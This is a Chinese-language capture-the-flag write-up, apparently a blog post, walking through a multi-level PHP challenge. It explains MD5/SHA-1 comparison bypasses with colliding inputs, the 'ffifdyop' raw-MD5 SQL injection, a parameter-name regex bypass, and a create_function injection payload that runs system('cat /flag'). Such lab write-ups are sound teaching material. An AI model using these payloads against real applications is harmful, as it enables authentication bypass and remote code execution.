打开题目发现啥都没有嘞,那就想到要扫一下目录

发现robots.txt文件,访问一下发现源码的php文件

源码level2
1 | http://node5.anna.nssctf.cn:27960/level_2_1s_h3re.php |
1 |
|
发现是md5强碰撞
那我们去学习一下md5的强弱碰撞吧
md5强弱碰撞+sha1碰撞
强比较:使用三个 ‘’===’’ 比较,比较值,也比较类型
弱比较:使用两个 ‘’==’’ 比较,只比较值,不比较类型
- a==b 将a,b的值转换成同类型再比较值
- a===b 先判断a,b类型,若相同,则比较值,若不相同,则返回false
md5弱比较
1.字符型和字符型比较,为同类型,比较其内容,例’’abc’’==’’c’’ => false
字符串的弱比较只能采用0e绕过,需要注意的是,0e后面不能有字母的存在
1 | ("0e123456"=="0e345") => true |
2.数字型和数字型比较,同上,例:123 == 12 => false 123==123=>true
3.字符型和数字型比较
先看字符串开头是否为数字
如果为数字,则截止到连续数字的最后一个数字,即"123abc456"=>123
如果不为数字,则判断为false,即"abc123456"=>0
1 | ("123abc"==123) => true |
==绕过方法==
<1>0e绕过
原理:计算器表达10的幂一般是用E或e
如:2 760 000 = 2.76×10^6 = 2.76e6
所以0e,无论后面跟什么值,都是0
以下是常见的字符串md5值为0e开头
1 | 加密后的密文 原值 |
< 2> 数组绕过
md5不能加密数组 ,如 a[]=1 , b[]=1 , 传入数组会报错,但会继续执行并且返回结果为null
比如传入md5(a[]=1)md5(b[]=2),实际上是nullnull,所以数组进行md5弱比较时,结果相等
1 | $a=$_GET['a']; |
payload:?a[]=1&b[]=2
md5强类型绕过
<1>md5值完全相同的字符绕过
1 | $a=$_GET['a']; |
payload:?a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2==&b===%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
- 两个MD5值完全相同的字符
1 | array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 |
此时插入sha1值完全相同的字符
1
2
3array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
<2>数组绕过
payload:?a[]=1&b[]=2
万能通式ffifdyop 绕过
==**万能通式:**129581926211651571912466741651878684928和ffifdyop==
实例:
select * from ‘admin’ where password=md5($pass,true)
输入md5(‘ffifdyop’,true)绕过
即
select * from ‘admin’ where password=md5 ( ‘ ffifdyop ‘ ,true)
md5(string,raw)

绕过原理:

接着做题ffifdyop 这个字符串被 md5 哈希了后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是’ or ‘6
而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是 select * from ‘admin’ where password= ‘ ‘ or ‘6xxxxx ‘,等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。
where password=正确的密码or 1 ,代表永真,那么前面有没有密码都无所谓了简单说,
select * from admin where password= ‘ ‘ or’6<乱码>’
就相当于
select * from admin where password= ‘ ‘ or 1 实现sql注入
当两个条件中有任一个条件满足,“逻辑或”的运算结果就为“真”
level 2 md5强碰撞
从上面的知识点中找两个符合标准的值直接post传参,发现可能是因为参数太复杂,直接在网页上post传参不行,那就bp抓包传参,但是发现抓包是get传参,搜一下如何利用bppost传参

先将get改为post,然后再加上
Content-Type: application/x-www-form-urlencoded,再在下面加入我们像传参的内容即可
思考为啥不能用数组绕过而只能通过在找到两个md5值完全相同的字符串达到绕过的目的
审计代码发现,这个传入参数之后会进行一个类型的强制转换,不管你最初传入的数据是什么类型的,都会被传入的时候强转成字符串类型的,而两个数组被转换成字符串之后为Array,在第一个绕过就会被砍掉
那为啥能用md5值相同的字符串绕过,在post传参时没有被%00截断
原因:1PHP接收并URL解码 → 完整二进制数据
- (string)转换 → 保持二进制字符串不变

1 |
|
审计代码发现是sha1的强碰撞

level4
1 |
|
正则绕过
掉了空格、下划线、.,即,我们的url中不能包含这三个。但是题目需要GET传入的参数又有下划线,这时可以用+ [来替换掉下划线,但是我试了用[不行,所以这里我们用加号
1 | http://node5.anna.nssctf.cn:26272/level_level_4.php?NI+SA+=txw4ever |
得到55_5_55.php
第五关
1 |
|
对于传入的参数a,过滤掉非字母、数字、下划线,不分字母大小写
审计代码会知道
可以利用 $a(‘’, $b) 执行代码:
1 | $a 可以是 create_function(动态创建函数)。 |
需要绕过正则,因为匹配正则没啥用
反斜杠 \:破坏正则匹配(如 \create_function)。
PHP 的 create_function 会动态创建一个匿名函数,内部实现本质是:
1 | function __lambda_func($args) { |
当代码执行 $a(‘’, $b) 时,实际生成:
1 | \create_function('', "}system('cat /flag');//") |
最终生成的函数相当于:
1 | function __lambda_func() { |
通过闭合原函数的花括号并添加注释符,实现了代码注入。
最终的payload
1 | /55_5_55.php?a=\create_function&b=}system('cat /flag');// |
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~